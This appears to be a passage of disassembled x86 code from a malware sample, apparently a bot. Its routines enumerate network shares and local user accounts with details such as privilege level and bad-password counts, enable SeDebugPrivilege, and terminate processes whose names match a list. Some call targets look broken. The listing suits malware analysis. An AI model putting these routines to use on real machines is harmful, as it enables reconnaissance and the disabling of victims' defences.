[esp+4+arg_0], esi jnz short loc_4190B2 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4190B2: ; CODE XREF: sub_4190A5+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_427188 push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi test byte_4DB83C, 1 mov ebp, eax jnz short loc_4190EF or byte_4DB83C, 1 lea eax, [ebp+1] push eax call sub_41D9A5 pop ecx mov dword_4DB5DC, eax loc_4190EF: ; CODE XREF: sub_4190A5+32j push esi push esi push ebp push dword_4DB5DC push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi mov eax, dword_4DB5DC pop edi pop ebp pop ebx pop esi retn sub_4190A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41910C proc near ; CODE XREF: sub_418FE5+6Ep ; sub_41A6EA+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_419177 push [ebp+arg_4] mov edi, eax call sub_419177 push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_41C990 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_419177 add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_4CB8C8 pop edi leave retn sub_41910C endp ; =============== S U B R O U T I N E ======================================= sub_419177 proc near ; CODE XREF: sub_41910C+Ap ; sub_41910C+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_419184 pop ebp retn ; --------------------------------------------------------------------------- loc_419184: ; CODE XREF: sub_419177+9j push ebx push esi mov esi, dword_4270E8 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi mov edi, eax lea eax, [edi+edi+2] push eax call sub_41D9A5 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_419177 endp ; =============== S U B R O U T I N E ======================================= sub_4191B8 proc near ; CODE XREF: sub_418FE5+20p ; sub_41A3C6+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_419177 push [esp+8+arg_4] mov esi, eax call sub_419177 pop ecx pop ecx push 0 push eax push esi call dword_4CB8A0 pop esi retn sub_4191B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4191DB proc near ; CODE XREF: sub_401ACD+45AEp var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_419177 xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 18h loc_419214: ; CODE XREF: sub_4191DB+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_4CB918 mov ebx, eax cmp ebx, esi jz short loc_419277 cmp ebx, 0EAh jz short loc_419277 push ebx push ebx call sub_4199AC pop ecx push eax lea eax, [ebp+var_210] push offset unk_439C10 push eax call sub_41C266 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 24h jmp short loc_4192E4 ; --------------------------------------------------------------------------- loc_419277: ; CODE XREF: sub_4191DB+5Dj ; sub_4191DB+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_4192DB mov eax, [ebp+var_4] lea esi, [eax+14h] loc_419285: ; CODE XREF: sub_4191DB+FCj push dword ptr [esi+10h] call dword_4CB8BC test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_41929C mov eax, offset aNo ; "No" loc_41929C: ; CODE XREF: sub_4191DB+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_41C266 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_419285 xor esi, esi loc_4192DB: ; CODE XREF: sub_4191DB+A2j push [ebp+var_4] call dword_4CBA64 loc_4192E4: ; CODE XREF: sub_4191DB+9Aj cmp ebx, 0EAh jz loc_419214 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_4191DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192FC proc near ; CODE XREF: sub_401ACD:loc_4060EDp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_4193A1 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_41933E dec eax jz short loc_419333 dec eax jnz short loc_419359 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_419443 add esp, 14h jmp short loc_419355 ; --------------------------------------------------------------------------- loc_419333: ; CODE XREF: sub_4192FC+1Dj push ebx push edi call sub_419422 pop ecx pop ecx jmp short loc_419355 ; --------------------------------------------------------------------------- loc_41933E: ; CODE XREF: sub_4192FC+1Aj cmp [ebp+arg_8], edi jz short loc_419352 push [ebp+arg_8] push ebx push edi call sub_4193C8 add esp, 0Ch jmp short loc_419355 ; --------------------------------------------------------------------------- loc_419352: ; CODE XREF: sub_4192FC+45j push 57h pop eax loc_419355: ; CODE XREF: sub_4192FC+35j ; sub_4192FC+40j ... cmp eax, edi jnz short loc_419379 loc_419359: ; CODE XREF: sub_4192FC+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DB840 push off_43951C[eax*4] push offset unk_439CC8 push esi call sub_41C266 add esp, 10h jmp short loc_4193C1 ; --------------------------------------------------------------------------- loc_419379: ; CODE XREF: sub_4192FC+5Bj push eax call sub_4199AC pop ecx push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DB840 push off_439518[eax*4] push offset unk_439C98 push esi call sub_41C266 add esp, 14h jmp short loc_4193C1 ; --------------------------------------------------------------------------- loc_4193A1: ; CODE XREF: sub_4192FC+Dj mov eax, [ebp+arg_0] mov esi, offset dword_4DB840 lea eax, [eax+eax*2] push off_439518[eax*4] push offset unk_439C70 push esi call sub_41C266 add esp, 0Ch loc_4193C1: ; CODE XREF: sub_4192FC+7Bj ; sub_4192FC+A3j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_4192FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4193C8 proc near ; CODE XREF: sub_4192FC+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_419177 push [ebp+arg_4] mov edi, eax call sub_419177 push [ebp+arg_8] mov [ebp+var_24], eax call sub_419177 add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_4CB8AC pop edi leave retn sub_4193C8 endp ; =============== S U B R O U T I N E ======================================= sub_419422 proc near ; CODE XREF: sub_4192FC+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_419177 push [esp+8+arg_4] mov esi, eax call sub_419177 pop ecx pop ecx push eax push esi call dword_4CB89C pop esi retn sub_419422 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419443 proc near ; CODE XREF: sub_4192FC+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_419177 push [ebp+arg_4] mov esi, eax call sub_419177 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_4CBA2C test eax, eax mov [ebp+arg_0], eax jnz loc_4197EB mov eax, [ebp+var_4] test eax, eax jz loc_419826 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_41C266 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h mov eax, [eax+10h] sub eax, 0 jz short loc_419562 dec eax jz short loc_41955B dec eax jz short loc_419554 mov eax, offset aUnknown ; "Unknown" jmp short loc_419567 ; --------------------------------------------------------------------------- loc_419554: ; CODE XREF: sub_419443+108j mov eax, offset aAdministrator ; "Administrator" jmp short loc_419567 ; --------------------------------------------------------------------------- loc_41955B: ; CODE XREF: sub_419443+105j mov eax, offset aUser_0 ; "User" jmp short loc_419567 ; --------------------------------------------------------------------------- loc_419562: ; CODE XREF: sub_419443+102j mov eax, offset aGuest ; "Guest" loc_419567: ; CODE XREF: sub_419443+10Fj ; sub_419443+116j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_41C266 push 1 push esi lea eax, [ebp+var_204] push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 add esp, 20h pop edi pop ebx jmp short loc_419817 ; --------------------------------------------------------------------------- loc_4197EB: ; CODE XREF: sub_419443+35j push eax lea eax, [ebp+var_204] push offset unk_439CE8 push eax call sub_41C266 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_409869 add esp, 20h loc_419817: ; CODE XREF: sub_419443+3A6j cmp [ebp+var_4], 0 jz short loc_419826 push [ebp+var_4] call dword_4CBA64 loc_419826: ; CODE XREF: sub_419443+40j ; sub_419443+3D8j mov eax, [ebp+arg_0] pop esi leave retn sub_419443 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41982C proc near ; CODE XREF: sub_401ACD+463Ap var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_419177 push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 18h loc_41986B: ; CODE XREF: sub_41982C+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_4CB934 cmp eax, esi mov [ebp+var_C], eax jz short loc_4198CC cmp eax, 0EAh jz short loc_4198CC push eax push eax call sub_4199AC pop ecx push eax lea eax, [ebp+var_218] push offset unk_439ED8 push eax call sub_41C266 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 24h jmp short loc_419947 ; --------------------------------------------------------------------------- loc_4198CC: ; CODE XREF: sub_41982C+62j ; sub_41982C+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_41995A xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_419947 loc_4198DE: ; CODE XREF: sub_41982C+EDj cmp edi, esi jz short loc_41991D push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_4 ; " %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_4198DE jmp short loc_419947 ; --------------------------------------------------------------------------- loc_41991D: ; CODE XREF: sub_41982C+B4j lea eax, [ebp+var_218] push offset unk_439EA4 push eax call sub_41C266 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 1Ch loc_419947: ; CODE XREF: sub_41982C+9Ej ; sub_41982C+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_41995A push edi call dword_4CBA64 xor edi, edi mov [ebp+var_4], edi loc_41995A: ; CODE XREF: sub_41982C+A5j ; sub_41982C+120j cmp [ebp+var_C], 0EAh jz loc_41986B cmp edi, esi jz short loc_419972 push edi call dword_4CBA64 loc_419972: ; CODE XREF: sub_41982C+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_41C266 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_41982C endp ; =============== S U B R O U T I N E ======================================= sub_4199AC proc near ; CODE XREF: sub_418FE5+41p ; sub_4191DB+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_419A5E jz loc_419A57 cmp eax, 7Bh ja short loc_419A23 jz short loc_419A19 cmp eax, 5 jz short loc_419A0F cmp eax, 8 jz short loc_419A05 cmp eax, 32h jz short loc_4199FB cmp eax, 35h jz short loc_4199F1 cmp eax, 57h jnz loc_419AAD push offset aInvalidParamet ; "Invalid parameter." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_4199F1: ; CODE XREF: sub_4199AC+30j push offset aServerNameNotF ; "Server name not found." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_4199FB: ; CODE XREF: sub_4199AC+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A05: ; CODE XREF: sub_4199AC+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A0F: ; CODE XREF: sub_4199AC+21j push offset aAccessDenied_ ; "Access denied." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A19: ; CODE XREF: sub_4199AC+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A23: ; CODE XREF: sub_4199AC+1Aj sub eax, 7Ch jz short loc_419A50 sub eax, 7C8h jz short loc_419A49 dec eax jz short loc_419A3F dec eax jnz short loc_419AAD push offset aDuplicateShare ; "Duplicate share name." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A3F: ; CODE XREF: sub_4199AC+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A49: ; CODE XREF: sub_4199AC+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A50: ; CODE XREF: sub_4199AC+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A57: ; CODE XREF: sub_4199AC+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A5E: ; CODE XREF: sub_4199AC+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_419A97 jz short loc_419A90 sub eax, 8ADh jz short loc_419AC2 dec eax dec eax jz short loc_419A89 dec eax jz short loc_419A82 dec eax dec eax jnz short loc_419AAD push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A82: ; CODE XREF: sub_4199AC+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A89: ; CODE XREF: sub_4199AC+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A90: ; CODE XREF: sub_4199AC+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A97: ; CODE XREF: sub_4199AC+B9j sub eax, 8CAh jz short loc_419AC9 sub eax, 17h jz short loc_419AC2 sub eax, 25h jz short loc_419ABB sub eax, 29h jz short loc_419AB4 loc_419AAD: ; CODE XREF: sub_4199AC+35j ; sub_4199AC+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419AB4: ; CODE XREF: sub_4199AC+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419ABB: ; CODE XREF: sub_4199AC+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419AC2: ; CODE XREF: sub_4199AC+C2j ; sub_4199AC+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419AC9: ; CODE XREF: sub_4199AC+F0j push offset aNetworkConnect ; "Network connection not found." loc_419ACE: ; CODE XREF: sub_4199AC+40j ; sub_4199AC+4Aj ... push offset dword_4DB5E0 call sub_41C266 pop ecx mov eax, offset dword_4DB5E0 pop ecx retn sub_4199AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419AE0 proc near ; CODE XREF: sub_401ACD+467Fp var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_41E0D4 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi call near ptr 26D0000h nop lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_41E0D4 lea eax, [ebp+var_718] push eax call sub_41E0B7 add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_4CB9E4 test eax, eax jnz short loc_419B70 mov esi, offset dword_4DB3DC push offset unk_43A20C push esi call sub_41C266 pop ecx pop ecx jmp short loc_419B99 ; --------------------------------------------------------------------------- loc_419B70: ; CODE XREF: sub_419AE0+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_4199AC pop ecx mov esi, offset dword_4DB3DC push eax push offset dword_43A1E0 push esi call sub_41C266 add esp, 14h loc_419B99: ; CODE XREF: sub_419AE0+8Ej mov eax, esi pop esi leave retn sub_419AE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B9E proc near ; CODE XREF: sub_4172C1+45p ; sub_4172C1+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h nop call near ptr 27305B5h push eax call dword_4CB9B8 test eax, eax jnz short loc_419BBD leave retn ; --------------------------------------------------------------------------- loc_419BBD: ; CODE XREF: sub_419B9E+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_4CB990 test eax, eax jz short loc_419BFB cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_419BE4 or [ebp+var_8], 2 jmp short loc_419BE8 ; --------------------------------------------------------------------------- loc_419BE4: ; CODE XREF: sub_419B9E+3Ej and [ebp+var_8], 0FFFFFFFDh loc_419BE8: ; CODE XREF: sub_419B9E+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_4CBA40 mov esi, eax loc_419BFB: ; CODE XREF: sub_419B9E+32j push [ebp+var_4] nop call near ptr 2670000h mov eax, esi pop esi leave retn sub_419B9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419C09 proc near ; CODE XREF: sub_401ACD+7770p ; sub_419E38+74p var_554 = byte ptr -554h var_354 = dword ptr -354h var_350 = byte ptr -350h var_234 = byte ptr -234h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_4CB9F4, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_350] mov [ebp+var_354], ebx rep stosd jz loc_419E08 cmp dword_4CB9D8, ebx jz loc_419E08 cmp dword_4CB8E8, ebx jz loc_419E08 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B9E pop ecx pop ecx push ebx push 0Fh call dword_4CB9F4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_419DFB lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call dword_4CB9D8 mov esi, dword_427070 test eax, eax jz loc_419DF6 lea eax, [ebp+var_130] push eax push edi call dword_4CB8E8 test eax, eax jz loc_419DF6 mov edi, dword_42708C mov ebx, 1F0FFFh loc_419CCD: ; CODE XREF: sub_419C09+1E5j xor eax, eax cmp [ebp+arg_10], eax jz short loc_419D34 mov [ebp+var_4], offset off_43A238 loc_419CDB: ; CODE XREF: sub_419C09+F3j mov eax, [ebp+var_4] push dword ptr [eax] lea eax, [ebp+var_10C] push eax nop call near ptr 2840000h test eax, eax jz short loc_419D03 add [ebp+var_4], 4 cmp [ebp+var_4], offset dword_43A298 jb short loc_419CDB jmp loc_419DDC ; --------------------------------------------------------------------------- loc_419D03: ; CODE XREF: sub_419C09+E6j push [ebp+var_128] push 0 push ebx call edi test eax, eax mov [ebp+var_4], eax jz loc_419DDC push 0 push eax nop call near ptr 2720A65h test eax, eax jnz loc_419DDC loc_419D2A: ; CODE XREF: sub_419C09+1B9j push [ebp+var_4] call esi jmp loc_419DDC ; --------------------------------------------------------------------------- loc_419D34: ; CODE XREF: sub_419C09+C9j cmp [ebp+arg_C], eax jnz loc_419DC7 cmp [ebp+arg_4], eax jz loc_419DDC push [ebp+var_128] push 8 call dword_4CB9F4 cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_354], 224h jz short loc_419D87 lea ecx, [ebp+var_354] push ecx push eax call dword_4CB894 push [ebp+var_128] test eax, eax jz short loc_419D8D lea eax, [ebp+var_234] jmp short loc_419D93 ; --------------------------------------------------------------------------- loc_419D87: ; CODE XREF: sub_419C09+15Cj push [ebp+var_128] loc_419D8D: ; CODE XREF: sub_419C09+174j lea eax, [ebp+var_10C] loc_419D93: ; CODE XREF: sub_419C09+17Cj push eax lea eax, [ebp+var_554] push offset aSD_0 ; " %s (%d)" push eax call sub_41C266 add esp, 10h lea eax, [ebp+var_554] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h jmp loc_419D2A ; --------------------------------------------------------------------------- loc_419DC7: ; CODE XREF: sub_419C09+12Ej push [ebp+arg_C] lea eax, [ebp+var_10C] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_419E0F loc_419DDC: ; CODE XREF: sub_419C09+F5j ; sub_419C09+10Aj ... lea eax, [ebp+var_130] push eax push [ebp+var_8] call dword_4CB8E8 test eax, eax jnz loc_419CCD xor ebx, ebx loc_419DF6: ; CODE XREF: sub_419C09+9Dj ; sub_419C09+B3j push [ebp+var_8] call esi loc_419DFB: ; CODE XREF: sub_419C09+77j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B9E pop ecx pop ecx loc_419E08: ; CODE XREF: sub_419C09+3Aj ; sub_419C09+46j ... xor eax, eax loc_419E0A: ; CODE XREF: sub_419C09+22Dj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- 